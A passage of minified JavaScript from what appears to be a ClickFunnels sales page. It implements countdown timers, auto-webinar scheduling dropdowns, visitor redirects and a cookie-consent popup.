"+o+"px;"))}d<r&&($(e).attr("style",""),$(e).removeClass("cf-sticky-video-active"),t.find("#cf-sticky-video-closeYesIcon").remove(),""!=i&&($(i).removeClass("cf-sticky-button-active"),$(i).attr("style",u)))}d(),$(window).resize(function(){$(window).width()<640?$(n+" iframe").attr("style",""):e.any()||"on"!=r&&d()}),$(window).scroll(function(){e.any()||"on"!=r&&d()})}$(".elBulletList li").each(function(){var e,t=$(this);t.contents().length>2&&(e=t.contents()[2].data)&&"string"==typeof e&&e.length&&160===e.charCodeAt(0)&&(t.contents()[2].data="\u200b"+e.substring(1))})}),$(document).ready(function(){function e(e,t){t=void 0===t||t;var n="",i="",r=null;"showhide"===e.closest(".elCountdown").attr("data-expire-type")?(n=e.attr("data-hide-ids"),i=e.attr("data-show-ids"),n&&(n=n.split(","),$.each(n,function(){$("#"+this).hide()})),i&&(i=i.split(","),$.each(i,function(){$("#"+this).show()}))):""==(r=e.attr("data-url"))||"#"==r?t&&e.hide():window.ClickFunnels.RedirectLoopsLimiter.redirect(window.ClickFunnels.RedirectLoopsLimiter.EXPIRE_ACTION_EVENT_NAME,r)}function t(e){var t=e.attr("data-show-years"),n=e.attr("data-show-months"),i=e.attr("data-show-weeks"),r=e.attr("data-show-days"),o=e.attr("data-show-hours"),a=e.attr("data-show-minutes"),s=e.attr("data-show-seconds"),l="";return"true"==t&&(l+="y"),"true"==n&&(l+="o"),"true"==i&&(l+="w"),"true"!=r&&r!=undefined||(l+="d"),"true"!=o&&o!=undefined||(l+="H"),"true"!=a&&a!=undefined||(l+="M"),"true"!=s&&s!=undefined||(l+="S"),l}function n(n){function i(){var e=$(this);c&&e.find(".countdown-amount").css("color",c),u&&e.find(".countdown-period").css("color",u)}var r=n.attr("data-date").split("/"),a=n.attr("data-time"),s=n.attr("data-tz"),l=n.attr("data-lang"),c=n.attr("data-color-time"),u=n.attr("data-color-label");$.countdown.setDefaults($.countdown.regionalOptions[l]);var d=new Date(r[2],r[0]-1,r[1],a,0,0),f=moment.tz(new Date(r[2],r[0]-1,r[1],a,0,0),s).zone();f/=60,f=o(f=f*=-1),n.countdown({format:t(n.closest(".elCountdown")),until:d,timezone:f,padZeroes:!0,alwaysExpire:!0,onExpiry:function(){e(n,!1)},onTick:i})}function i(e){var t=$(".countdown-time").text(),n=t.split(" "),i=null,r=null,o=e.attr("data-lang");$.countdown.setDefaults($.countdown.regionalOptions[o]),"undefined"!=typeof n[1]&&null!==n[1]||(n=t.split("T")),""!=n[0]&&(t=(t=n[0]).split("/"),i=""===(i=n[1])?[0,0]:i.split(":"),r=$.countdown.UTCDate(0,t[0],t[1]-1,t[2],i[0],i[1],0),e.countdown({until:r,padZeroes:!0,alwaysExpire:!0,onExpiry:function(){window.location.reload()}}))}function r(t){e(t)}function o(e){return"-"==e.toString()[0]?"-"+(((e=(e=e.toString()).replace("-",""))<10?"0":"")+e):"+"+((e<10?"0":"")+e)}function a(){console.log("in EvaluateLaunchTime");var e=$(".modalBackdropWrapper").attr("data-launch-redirect"),t=$(".modalBackdropWrapper").attr("data-launch-before-units")||"hours",n=$(".modalBackdropWrapper").attr("data-launch-before-timezone")||"America/New_York",i=parseInt($(".modalBackdropWrapper").attr("data-launch-before-quantity"));if(isNaN(i)&&(i=48),""==m)return window.location.replace(e);var r=moment("1974-08-04 23:59:59 EDT","YYYY-MM-DD HH:mm:ss ZZ");m&&m.trim().length&&(r=moment(m,"YYYY/MM/DD HH:mm:ss ZZ")),"days"==t&&(r=r.tz(n));var o=r.add(i,t);return"days"==t&&o.startOf("day"),o.diff(moment.utc(),"seconds")>0?window.location.replace(e):void 0}function s(){console.log("in EvaluateDeadlineTime");var e=$(this).attr("data-lang")||"eng",t=$(".modalBackdropWrapper").attr("data-deadline-redirect"),n=$(".modalBackdropWrapper").attr("data-deadline-expire-units")||"hours",i=$(".modalBackdropWrapper").attr("data-deadline-expire-timezone")||"America/New_York",r=parseInt($(".modalBackdropWrapper").attr("data-deadline-expire-quantity"));if(isNaN(r)&&(r=48),""==m)return window.location.replace(t);var o=moment("1974-08-04 23:59:59 EDT","YYYY-MM-DD HH:mm:ss ZZ");m&&m.trim().length&&(o=moment(m,"YYYY/MM/DD HH:mm:ss ZZ")),"days"==n&&(o=o.tz(i));var a=o.add(r,n);"days"==n&&a.endOf("day");var s=a.diff(moment.utc(),"seconds");if(s<=0)return window.location.replace(t);$(".wideCountdownDeadline").each(function(){$.countdown.setDefaults($.countdown.regionalOptions[e]),$(this).countdown({until:s,padZeroes:!0,alwaysExpire:!0,onExpiry:function(){return window.location.replace(t)}})})}function l(e,t,n){return moment(Math[n](+e/+t)*+t)}function c(){date=$('.selectAW-date[data-cf-name="webinar-date"]').val(),time=$('.selectAW-date[data-cf-name="webinar-time"]').val(),webinar_datetime=moment(date+" "+time,"YYYY-MM-DD HH:mm"),webinar_datetime_offset=moment.unix(webinar_datetime),now=moment(),now_offset=moment.unix(now),webinar_delay=webinar_datetime.diff(now),webinar_delay_offset=moment.unix(webinar_delay),webinar_delay_offset=moment.unix(webinar_delay),$("#webinar_delay").attr("value",webinar_delay)}$(document).on("keyup",".smsCheckArea",function(e){13!=e.which&&32!=e.which||$(this).click()}).on("click",".smsCheckArea",function(){return $(".smsExtras").is(":visible")?($(".smsCheck",this).prop("checked",!1),$(".smsExtras").hide(),$(".smsRecieveText",this).removeClass("smsRecieveTextActive")):($(".smsCheck",this).prop("checked",!0),$(".smsExtras").show(),$(".smsRecieveText",this).addClass("smsRecieveTextActive")),!1}),CFSanitizeCountdownElement(),$(".wideCountdown").each(function(){var e=$(this),t=e.attr("data-date"),o=null!=t&&t.length>0,a=$(".countdown-time").text().length>0;o?n(e):a?i(e):r(e)}),$(".wideCountdownEvergreenDaily-demo").remove(),$(".wideCountdownEvergreenDaily").removeClass("hide"),$(".wideCountdownEvergreenDaily").each(function(){$date=moment().format("MM/DD/YYYY"),$date=$date.split("/"),$time=$(this).attr("data-time"),$tz=$(this).attr("data-tz"),$lang=$(this).attr("data-lang"),$countdownDate=new Date($date[2],$date[0]-1,$date[1],$time,0,0),$countdownDateZone=moment.tz(new Date($date[2],$date[0]-1,$date[1],$time,0,0),$tz).zone(),$countdownDateZone/=60,$countdownDateZone=$countdownDateZone*=-1,$countdownDateZone=o($countdownDateZone),$.countdown.setDefaults($.countdown.regionalOptions[$lang]),$thisID=$(this).closest(".elCountdownEvergreenDaily").attr("id"),$.cookie("cf-eg-"+$thisID)?($countdownDate=0,$countdownDateZone=0):$.cookie("cf-eg-nd-"+$thisID)&&($countdownDate=1e44,$(this).hide(),$hide=$(this).attr("data-hide-ids"),$show=$(this).attr("data-show-ids"),$hide&&($hide=$hide.split(","),$.each($hide,function(){$("#"+this).hide()})),$show&&($show=$show.split(","),$.each($show,function(){$("#"+this).hide()})),$show=$(this).attr("data-show-ids-extra"),$show&&($show=$show.split(","),$.each($show,function(){$("#"+this).show()}))),$revisitAction=$(this).closest(".elCountdownEvergreenDaily").attr("data-revisit-action"),"expirecookie"==$revisitAction?($cookieDays=$(this).attr("data-expire-cookie"),$.cookie("cf-eg-"+$thisID,"x",{expires:parseInt($cookieDays)})):"newdiv"==$revisitAction?($cookieDays=$(this).attr("data-expire-cookie-nd"),$.cookie("cf-eg-nd-"+$thisID,"x",{expires:parseInt($cookieDays)})):($.removeCookie("cf-eg-"+$thisID),$.removeCookie("cf-eg-ng-"+$thisID)),$(this).countdown({until:$countdownDate,timezone:$countdownDateZone,padZeroes:!0,alwaysExpire:!0,onExpiry:function(){$action=$(this).closest(".elCountdownEvergreenDaily").attr("data-expire-type"),"showhide"==$action?($hide=$(this).attr("data-hide-ids"),$show=$(this).attr("data-show-ids"),$hide&&($hide=$hide.split(","),$.each($hide,function(){$("#"+this).hide()})),$show&&($show=$show.split(","),$.each($show,function(){$("#"+this).show()}))):($url=$(this).attr("data-url"),""==$url||"#"==$url||window.ClickFunnels.RedirectLoopsLimiter.redirect(window.ClickFunnels.RedirectLoopsLimiter.EXPIRE_ACTION_EVENT_NAME,$url))}})});var u=$(".modalBackdropWrapper").attr("data-autowebinar-type")||"top-of-hour",d=parseInt($(".modalBackdropWrapper").attr("data-countdown-every"))||10,f=0,p=moment().add(1,"hour").startOf("hour");$(".modalBackdropWrapper[data-autowebinar-type]").first().each(function(){"top-of-hour"==u?f=p.diff(moment(),"seconds"):"every-x-mins"==u&&(p=l(moment(),moment.duration(d,"minutes"),"ceil"),f=p.diff(moment(),"seconds")),$("<input>",{"class":"selectAW-date","data-cf-name":"webinar-date",value:p.format("YYYY-MM-DD")}).appendTo("#cfAR"),$("<input>",{"class":"selectAW-date","data-cf-name":"webinar-time",value:p.format("HH:mm")}).appendTo("#cfAR"),c()}),$(".wideCountdownAutowebinar-demo").remove(),$(".wideCountdownAutowebinar").removeClass("hide"),$(".wideCountdownAutowebinar").each(function(){var e=$(this).attr("data-lang")||"eng";$.countdown.setDefaults($.countdown.regionalOptions[e]),$(this).countdown({until:f,padZeroes:!0,alwaysExpire:!0,onExpiry:function(){window.location.reload()}})}),$(".elAutowebinarAtWrapper").each(function(){var e=p.format("h:mm A");$(".elAutowebinarAtTime",this).text(e)});var h=$(".modalBackdropWrapper").attr("data-unknown-visitor-redirect"),m=$(".contact-created").text(),g=$(".modalBackdropWrapper").attr("data-deadline-enabled")||"no",y=$(".modalBackdropWrapper").attr("data-launch-enabled")||"no";if(""==m&&h)return window.location.replace(h);"yes"==y?(a(),"yes"==g&&s()):"yes"==g&&s(),$(".wideCountdownDeadline-demo").remove(),$(".wideCountdownDeadline").removeClass("hide"),$(".wideCountdownEvergreen-demo").remove(),$(".wideCountdownEvergreen").removeClass("hide"),$(".wideCountdownEvergreen").each(function(){$hours=$(this).attr("data-hours"),$minutes=$(this).attr("data-minutes"),$seconds=$(this).attr("data-seconds"),""==$hours||$hours==undefined?$hours=0:$hours=3600*parseInt($hours),""==$minutes||$minutes==undefined?$minutes=0:$minutes=60*parseInt($minutes),""==$seconds||$seconds==undefined?$seconds=0:$seconds=parseInt($seconds),$countdownDate=$hours+$minutes+$seconds,$lang=$(this).attr("data-lang"),$.countdown.setDefaults($.countdown.regionalOptions[$lang]),$thisID=$(this).closest(".elCountdownEvergreen").attr("id"),$.cookie("cf-eg-"+$thisID)?($countdownDate=0,$countdownDateZone=0):$.cookie("cf-eg-nd-"+$thisID)&&($countdownDate=1e44,$(this).hide(),$hide=$(this).attr("data-hide-ids"),$show=$(this).attr("data-show-ids"),"undefined"!=typeof $hide&&($hide=$hide.split(","),$.each($hide,function(){$("#"+this).hide()})),"undefined"!=typeof $show&&($show=$show.split(","),$.each($show,function(){$("#"+this).hide()})),$show=$(this).attr("data-show-ids-extra"),"undefined"!=typeof $show&&($show=$show.split(","),$.each($show,function(){$("#"+this).show()}))),$revisitAction=$(this).closest(".elCountdownEvergreen").attr("data-revisit-action"),"expirecookie"==$revisitAction?($cookieDays=$(this).attr("data-expire-cookie"),$.cookie("cf-eg-"+$thisID,"x",{expires:parseInt($cookieDays)})):"newdiv"==$revisitAction?($cookieDays=$(this).attr("data-expire-cookie-nd"),$.cookie("cf-eg-nd-"+$thisID,"x",{expires:parseInt($cookieDays)})):($.removeCookie("cf-eg-"+$thisID),$.removeCookie("cf-eg-ng-"+$thisID)),$(this).countdown({until:+$countdownDate,padZeroes:!0,alwaysExpire:!0,onExpiry:function(){$action=$(this).closest(".elCountdownEvergreen").attr("data-expire-type"),"showhide"==$action?($hide=$(this).attr("data-hide-ids"),$show=$(this).attr("data-show-ids"),"undefined"!=typeof $hide&&($hide=$hide.split(","),$.each($hide,function(){$("#"+this).hide()})),"undefined"!=typeof $show&&($show=$show.split(","),$.each($show,function(){$("#"+this).show()}))):($url=$(this).attr("data-url"),""==$url||"#"==$url||window.ClickFunnels.RedirectLoopsLimiter.redirect(window.ClickFunnels.RedirectLoopsLimiter.EXPIRE_ACTION_EVENT_NAME,$url))}})}),$localTime=moment().format("h:mm A"),$(".awLocalTime").text($localTime),setInterval(function(){$localTime=moment().format("h:mm A"),$(".awLocalTime").text($localTime)},6e4),$('.selectAW-date[data-cf-name="webinar-date"]').find("option").remove(),$autoWebinarDay1=moment().add("days",1).format("dddd, MMM Do, YYYY"),$autoWebinarDay1_raw=moment().add("days",1).format("YYYY-MM-DD"),$selectText=$('.selectAW-date[data-cf-name="webinar-date"]').attr("data-selecttext"),$selectText||($selectText="Select Desired Date..."),$('.selectAW-date[data-cf-name="webinar-date"]').append('<option value="'+$autoWebinarDay1_raw+'">'+$selectText+"</option>"),$autoWebinarDay0=moment().subtract("days",1).format("dddd, MMM Do, YYYY"),$autoWebinarDay0_raw=moment().subtract("days",1).format("YYYY-MM-DD"),$replayText=$('.selectAW-date[data-cf-name="webinar-date"]').attr("data-replaytext"),$replayText||($replayText="Watch Yesterday's Broadcast Now"),$('.selectAW-date[data-cf-name="webinar-date"]').append('<option value="'+$autoWebinarDay0_raw+'">'+$replayText+"</option>"),$(".selectAW-date").hasClass("short_date_awdt")&&($autoWebinarDay1=$autoWebinarDay1_raw),$('.selectAW-date[data-cf-name="webinar-date"]').append('<option value="'+$autoWebinarDay1_raw+'">'+$autoWebinarDay1+"</option>"),$autoWebinarDay2=moment().add("days",2).format("dddd, MMM Do, YYYY"),$autoWebinarDay2_raw=moment().add("days",2).format("YYYY-MM-DD"),$(".selectAW-date").hasClass("short_date_awdt")&&($autoWebinarDay2=$autoWebinarDay2_raw),$('.selectAW-date[data-cf-name="webinar-date"]').append('<option value="'+$autoWebinarDay2_raw+'">'+$autoWebinarDay2+"</option>"),$autoWebinarDay3=moment().add("days",3).format("dddd, MMM Do, YYYY"),$autoWebinarDay3_raw=moment().add("days",3).format("YYYY-MM-DD"),$(".selectAW-date").hasClass("short_date_awdt")&&($autoWebinarDay3=$autoWebinarDay3_raw),$('.selectAW-date[data-cf-name="webinar-date"]').append('<option value="'+$autoWebinarDay3_raw+'">'+$autoWebinarDay3+"</option>"),$('.selectAW-date[data-cf-name="webinar-time"]').find("option").remove(),$('.selectAW-date[data-cf-name="webinar-time"]').each(function(){$11am=$(this).attr("data-time-11"),$2pm=$(this).attr("data-time-2"),$4pm=$(this).attr("data-time-4"),$6pm=$(this).attr("data-time-6"),$8pm=$(this).attr("data-time-8"),"off"!=$11am&&$(this).append('<option value="11:00">@ 11 am</option>'),"off"!=$2pm&&$(this).append('<option value="14:00">@ 2 pm</option>'),"off"!=$4pm&&$(this).append('<option value="16:00">@ 4 pm</option>'),"off"!=$6pm&&$(this).append('<option value="18:00">@ 6 pm</option>'),"off"!=$8pm&&$(this).append('<option value="20:00">@ 8 pm</option>')}).promise().done(function(){$('.selectAW-date[data-cf-name="webinar-time"]').val()||$('.selectAW-date[data-cf-name="webinar-time"]').append('<option value="18:00">@ 6 pm</option>'),c()}),$('.de-editable[data-de-type="awdtt"]').hide(),$removeSelectDateOnAutoWebinar=!1,$(document).on("change",'.selectAW-date[data-cf-name="webinar-date"]',function(){c(),$dateSelected=$(this).val(),$autoWebinarDay0_raw==$dateSelected?$('.de-editable[data-de-type="awdtt"]').hide():$('.de-editable[data-de-type="awdtt"]').show(),0==$removeSelectDateOnAutoWebinar&&($("option:first-child",this).remove(),$removeSelectDateOnAutoWebinar=!0)}),$(document).on("change",'.selectAW-date[data-cf-name="webinar-time"]',function(){c()}),$(document).on("load",function(){$('.selectAW-date[data-cf-name="webinar-date"]').size()>0&&c()}),$("body").load(function(){$('.selectAW-date[data-cf-name="webinar-date"]').size()>0&&c()})}),$(function(){$('.selectAW-date[data-cf-name="webinar-date"]').size()>0&&webinarDelay()}),CFrenameVimeoURLAttribute(),CFstartBPVideos(),function(e){if(!e.hasInitialised){var t={escapeRegExp:function(e){return e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")},hasClass:function(e,t){var n=" ";return 1===e.nodeType&&(n+e.className+n).replace(/[\n\t]/g,n).indexOf(n+t+n)>=0},addClass:function(e,t){e.className+=" "+t},removeClass:function(e,t){var n=new RegExp("\\b"+this.escapeRegExp(t)+"\\b");e.className=e.className.replace(n,"")},interpolateString:function(e,t){var n=/{{([a-z][a-z0-9\-_]*)}}/gi;return e.replace(n,function(){return t(arguments[1])||""})},getCookie:function(e){var t=("; "+document.cookie).split("; "+e+"=");return 2!=t.length?undefined:t.pop().split(";").shift()},setCookie:function(e,t,n,i,r){var o=new Date;o.setDate(o.getDate()+(n||365));var a=[e+"="+t,"expires="+o.toUTCString(),"path="+(r||"/")];i&&a.push("domain="+i),document.cookie=a.join(";")},deepExtend:function(e,t){for(var n in t)t.hasOwnProperty(n)&&(n in e&&this.isPlainObject(e[n])&&this.isPlainObject(t[n])?this.deepExtend(e[n],t[n]):e[n]=t[n]);return e},throttle:function(e,t){var n=!1;return function(){n||(e.apply(this,arguments),n=!0,setTimeout(function(){n=!1},t))}},hash:function(e){var t,n,i=0;if(0===e.length)return i;for(t=0,n=e.length;t<n;++t)i=(i<<5)-i+e.charCodeAt(t),i|=0;return i},normaliseHex:function(e){return"#"==e[0]&&(e=e.substr(1)),3==e.length&&(e=e[0]+e[0]+e[1]+e[1]+e[2]+e[2]),e},getContrast:function(e){return e=this.normaliseHex(e),(299*parseInt(e.substr(0,2),16)+587*parseInt(e.substr(2,2),16)+114*parseInt(e.substr(4,2),16))/1e3>=128?"#000":"#fff"},getLuminance:function(e){var t=parseInt(this.normaliseHex(e),16),n=38,i=(t>>16)+n,r=(t>>8&255)+n,o=(255&t)+n;return"#"+(16777216+65536*(i<255?i<1?0:i:255)+256*(r<255?r<1?0:r:255)+(o<255?o<1?0:o:255)).toString(16).slice(1)},isMobile:function(){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)},isPlainObject:function(e){return"object"==typeof e&&null!==e&&e.constructor==Object}};e.status={deny:"deny",allow:"allow",dismiss:"dismiss"},e.transitionEnd=function(){var e=document.createElement("div"),t={t:"transitionend",OT:"oTransitionEnd",msT:"MSTransitionEnd",MozT:"transitionend",WebkitT:"webkitTransitionEnd"};for(var n in t)if(t.hasOwnProperty(n)&&"undefined"!=typeof e.style[n+"ransition"])return t[n];return""}(),e.hasTransition=!!e.transitionEnd;var n=Object.keys(e.status).map(t.escapeRegExp);e.customStyles={},e.Popup=function(){function i(){this.initialise.apply(this,arguments)}function r(e){this.openingTimeout=null,t.removeClass(e,"cc-invisible")}function o(t){t.style.display="none",t.removeEventListener(e.transitionEnd,this.afterTransition),this.afterTransition=null}function a(){var t=this.options.onInitialise.bind(this);if(!window.navigator.cookieEnabled)return t(e.status.deny),!0;if(window.CookiesOK||window.navigator.CookiesOK)return t(e.status.allow),!0;var n=Object.keys(e.status),i=this.getStatus(),r=n.indexOf(i)>=0;return r&&t(i),r}function s(){var e=this.options.position.split("-"),t=[];return e.forEach(function(e){t.push("cc-"+e)}),t}function l(){var e=this.options,n="top"==e.position||"bottom"==e.position?"banner":"floating";t.isMobile()&&(n="floating");var i=["cc-"+n,"cc-type-"+e.type,"cc-theme-"+e.theme];e["static"]&&i.push("cc-static"),i.push.apply(i,s.call(this));f.call(this,this.options.palette);return this.customStyleSelector&&i.push(this.customStyleSelector),i}function c(){function e(e){var t=i.content[e];return e&&"string"==typeof t&&t.length?t:""}var n={},i=this.options;i.showLink||(i.elements.link="",i.elements.messagelink=i.elements.message),Object.keys(i.elements).forEach(function(r){n[r]=t.interpolateString(i.elements[r],e)}),n.message=t.interpolateString(n.message,e),n.messagelink=t.interpolateString(n.messagelink,e);var r=i.compliance[i.type];r||(r=i.compliance.info),n.compliance=t.interpolateString(r,function(e){return n[e]});var o=i.layouts[i.layout];return o||(o=i.layouts.basic),t.interpolateString(o,function(e){return n[e]})}function u(n){var i=this.options,r=document.createElement("div"),o=i.container&&1===i.container.nodeType?i.container:document.body;r.innerHTML=n;var a=r.children[0];return a.style.display="none",t.hasClass(a,"cc-window")&&e.hasTransition&&t.addClass(a,"cc-invisible"),this.onButtonClick=d.bind(this),a.addEventListener("click",this.onButtonClick),i.autoAttach&&(o.firstChild?o.insertBefore(a,o.firstChild):o.appendChild(a)),a}function d(i){var r=i.target;if(t.hasClass(r,"cc-btn")){var o=r.className.match(new RegExp("\\bcc-("+n.join("|")+")\\b")),a=o&&o[1]||!1;a&&(this.setStatus(a),this.close(!0))}t.hasClass(r,"cc-close")&&(this.setStatus(e.status.dismiss),this.close(!0)),t.hasClass(r,"cc-revoke")&&this.revokeChoice()}function f(e){var n=t.hash(JSON.stringify(e)),i="cc-color-override-"+n,r=t.isPlainObject(e);return this.customStyleSelector=r?i:null,r&&p(n,e,"."+i),r}function p(n,i,r){if(e.customStyles[n])++e.customStyles[n].references;else{var o={},a=i.popup,s=i.button,l=i.highlight;a&&(a.text=a.text?a.text:t.getContrast(a.background),a.link=a.link?a.link:a.text,o[r+".cc-window"]=["color: "+a.text,"background-color: "+a.background],o[r+".cc-revoke"]=["color: "+a.text,"background-color: "+a.background],o[r+" .cc-link,"+r+" .cc-link:active,"+r+" .cc-link:visited"]=["color: "+a.link],s&&(s.text=s.text?s.text:t.getContrast(s.background),s.border=s.border?s.border:"transparent",o[r+" .cc-btn"]=["color: "+s.text,"border-color: "+s.border,"background-color: "+s.background],"transparent"!=s.background&&(o[r+" .cc-btn:hover, "+r+" .cc-btn:focus"]=["background-color: "+h(s.background)]),l?(l.text=l.text?l.text:t.getContrast(l.background),l.border=l.border?l.border:"transparent",o[r+" .cc-highlight .cc-btn:first-child"]=["color: "+l.text,"border-color: "+l.border,"background-color: "+l.background]):o[r+" .cc-highlight .cc-btn:first-child"]=["color: "+a.text]));var c=document.createElement("style");document.head.appendChild(c),e.customStyles[n]={references:1,element:c.sheet};var u=-1;for(var d in o)o.hasOwnProperty(d)&&c.sheet.insertRule(d+"{"+o[d].join(";")+"}",++u)}}function h(e){return"000000"==(e=t.normaliseHex(e))?"#222":t.getLuminance(e)}function m(n){if(t.isPlainObject(n)){var i=t.hash(JSON.stringify(n)),r=e.customStyles[i];if(r&&!--r.references){var o=r.element.ownerNode;o&&o.parentNode&&o.parentNode.removeChild(o),e.customStyles[i]=null}}}function g(e,t){for(var n=0,i=e.length;n<i;++n){var r=e[n];if(r instanceof RegExp&&r.test(t)||"string"==typeof r&&r.length&&r===t)return!0}return!1}function y(){var t=this.setStatus.bind(this),n=this.options.dismissOnTimeout;"number"==typeof n&&n>=0&&(this.dismissTimeout=window.setTimeout(function(){t(e.status.dismiss)},Math.floor(n)));var i=this.options.dismissOnScroll;if("number"==typeof i&&i>=0){var r=function(){window.pageYOffset>Math.floor(i)&&(t(e.status.dismiss),window.removeEventListener("scroll",r),this.onWindowScroll=null)};this.onWindowScroll=r,window.addEventListener("scroll",r)}}function v(){if("info"!=this.options.type&&(this.options.revokable=!0),t.isMobile()&&(this.options.animateRevokable=!1),this.options.revokable){var e=s.call(this);this.options.animateRevokable&&e.push("cc-animate"),this.customStyleSelector&&e.push(this.customStyleSelector);var n=this.options.revokeBtn.replace("{{classes}}",e.join(" "));this.revokeBtn=u.call(this,n);var i=this.revokeBtn;if(this.options.animateRevokable){var r=t.throttle(function(e){var n=!1,r=20,o=window.innerHeight-20;t.hasClass(i,"cc-top")&&e.clientY<r&&(n=!0),t.hasClass(i,"cc-bottom")&&e.clientY>o&&(n=!0),n?t.hasClass(i,"cc-active")||t.addClass(i,"cc-active"):t.hasClass(i,"cc-active")&&t.removeClass(i,"cc-active")},200);this.onMouseMove=r,window.addEventListener("mousemove",r)}}}var b={enabled:!0,container:null,cookie:{name:"cookieconsent_status",path:"/",domain:"",expiryDays:365},onPopupOpen:function(){},onPopupClose:function(){},onInitialise:function(){},onStatusChange:function(){},onRevokeChoice:function(){},content:{header:"Cookies used on the website!",message:'This site uses cookies to deliver our services. By using our site, you acknowledge, that you have read and understand our <a href="{{cookieurl}}" target="_blank">Cookie Policy</a>, <a href="{{privacyurl}}" target="_blank">Privacy Policy</a>, and our <a href="{{termsurl}}" target="_blank">Terms of Service</a>. Your use of ClickFunnel\'s Products and Services is subject to these policies and terms.',cookieurl:"https://signup.clickfunnels.com/gdpr-policy#headline-59656",privacyurl:"https://signup.clickfunnels.com/privacy-policy",termsurl:"/terms",dismiss:"Got it!",allow:"Allow cookies",deny:"Decline",link:"Learn more",href:"http://cookiesandyou.com",close:"❌"},elements:{header:'<span class="cc-header">{{header}}</span> ',message:'<span id="cookieconsent:desc" class="cc-message">{{message}}</span>',messagelink:'<span id="cookieconsent:desc" class="cc-message">{{message}} <a aria-label="learn more about cookies" role=button tabindex="0" class="cc-link" href="{{href}}" rel="noopener noreferrer nofollow" target="_blank">{{link}}</a></span>',dismiss:'<a aria-label="dismiss cookie message" role=button tabindex="0" class="cc-btn cc-dismiss">{{dismiss}}</a>',allow:'<a aria-label="allow cookies" role=button tabindex="0" class="cc-btn cc-allow">{{allow}}</a>',deny:'<a aria-label="deny cookies" role=button tabindex="0" class="cc-btn cc-deny">{{deny}}</a>', link:'<a aria-label="learn more about cookies" role=button tabindex="0" class="cc-link" href="{{href}}" target="_blank">{{link}}</a>',close:'<span aria-label="dismiss cookie message" role=button tabindex="0" class="cc-close">{{close}}</span>'},window:'<div role="dialog" aria-live="polite" aria-label="cookieconsent" aria-describedby="cookieconsent:desc" class="cc-window {{classes}}"><!--googleoff: all-->{{children}}<!--googleon: all--></div>',revokeBtn:'<div class="cc-revoke {{classes}}">Cookie Policy</div>',compliance:{info:'<div class="cc-compliance">{{dismiss}}</div>',"opt-in":'<div class="cc-compliance cc-highlight">{{dismiss}}{{allow}}</div>',"opt-out":'<div class="cc-compliance cc-highlight">{{deny}}{{dismiss}}</div>'},type:"info",layouts:{basic:"{{messagelink}}{{compliance}}","basic-close":"{{messagelink}}{{compliance}}{{close}}","basic-header":"{{header}}{{message}}{{link}}{{compliance}}"},layout:"basic",position:"bottom",theme:"block","static":!1,palette:null,revokable:!1,animateRevokable:!0,showLink:!0,dismissOnScroll:!1,dismissOnTimeout:!1,autoOpen:!0,autoAttach:!0,whitelistPage:[],blacklistPage:[],overrideHTML:null};return i.prototype.initialise=function(e){this.options&&this.destroy(),t.deepExtend(this.options={},b),t.isPlainObject(e)&&t.deepExtend(this.options,e),a.call(this)&&(this.options.enabled=!1),g(this.options.blacklistPage,location.pathname)&&(this.options.enabled=!1),g(this.options.whitelistPage,location.pathname)&&(this.options.enabled=!0);var n=this.options.window.replace("{{classes}}",l.call(this).join(" ")).replace("{{children}}",c.call(this)),i=this.options.overrideHTML;if("string"==typeof i&&i.length&&(n=i),this.options["static"]){var r=u.call(this,'<div class="cc-grower">'+n+"</div>");r.style.display="",this.element=r.firstChild,this.element.style.display="none",t.addClass(this.element,"cc-invisible")}else this.element=u.call(this,n);y.call(this),v.call(this),this.options.autoOpen&&this.autoOpen()},i.prototype.destroy=function(){this.onButtonClick&&this.element&&(this.element.removeEventListener("click",this.onButtonClick),this.onButtonClick=null),this.dismissTimeout&&(clearTimeout(this.dismissTimeout),this.dismissTimeout=null),this.onWindowScroll&&(window.removeEventListener("scroll",this.onWindowScroll),this.onWindowScroll=null),this.onMouseMove&&(window.removeEventListener("mousemove",this.onMouseMove),this.onMouseMove=null),this.element&&this.element.parentNode&&this.element.parentNode.removeChild(this.element),this.element=null,this.revokeBtn&&this.revokeBtn.parentNode&&this.revokeBtn.parentNode.removeChild(this.revokeBtn),this.revokeBtn=null,m(this.options.palette),this.options=null},i.prototype.open=function(){if(this.element)return this.isOpen()||(e.hasTransition?this.fadeIn():this.element.style.display="",this.options.revokable&&this.toggleRevokeButton(),this.options.onPopupOpen.call(this)),this},i.prototype.close=function(t){if(this.element)return this.isOpen()&&(e.hasTransition?this.fadeOut():this.element.style.display="none",t&&this.options.revokable&&this.toggleRevokeButton(!0),this.options.onPopupClose.call(this)),this},i.prototype.fadeIn=function(){var n=this.element;if(e.hasTransition&&n&&(this.afterTransition&&o.call(this,n),t.hasClass(n,"cc-invisible"))){if(n.style.display="",this.options["static"]){var i=this.element.clientHeight;this.element.parentNode.style.maxHeight=i+"px"}var a=20;this.openingTimeout=setTimeout(r.bind(this,n),a)}},i.prototype.fadeOut=function(){var n=this.element;e.hasTransition&&n&&(this.openingTimeout&&(clearTimeout(this.openingTimeout),r.bind(this,n)),t.hasClass(n,"cc-invisible")||(this.options["static"]&&(this.element.parentNode.style.maxHeight=""),this.afterTransition=o.bind(this,n),n.addEventListener(e.transitionEnd,this.afterTransition),t.addClass(n,"cc-invisible")))},i.prototype.isOpen=function(){return this.element&&""==this.element.style.display&&(!e.hasTransition||!t.hasClass(this.element,"cc-invisible"))},i.prototype.toggleRevokeButton=function(e){this.revokeBtn&&(this.revokeBtn.style.display=e?"":"none")},i.prototype.revokeChoice=function(e){this.options.enabled=!0,this.clearStatus(),this.options.onRevokeChoice.call(this),e||this.autoOpen()},i.prototype.hasAnswered=function(){return Object.keys(e.status).indexOf(this.getStatus())>=0},i.prototype.hasConsented=function(){var t=this.getStatus();return t==e.status.allow||t==e.status.dismiss},i.prototype.autoOpen=function(){!this.hasAnswered()&&this.options.enabled&&this.open()},i.prototype.setStatus=function(n){var i=this.options.cookie,r=t.getCookie(i.name),o=Object.keys(e.status).indexOf(r)>=0;Object.keys(e.status).indexOf(n)>=0?(t.setCookie(i.name,n,i.expiryDays,i.domain,i.path),this.options.onStatusChange.call(this,n,o)):this.clearStatus()},i.prototype.getStatus=function(){return t.getCookie(this.options.cookie.name)},i.prototype.clearStatus=function(){var e=this.options.cookie;t.setCookie(e.name,"",-1,e.domain,e.path)},i}(),e.Location=function(){function e(e){t.deepExtend(this.options={},o),t.isPlainObject(e)&&t.deepExtend(this.options,e),this.currentServiceIndex=-1}function n(e,t,n){var 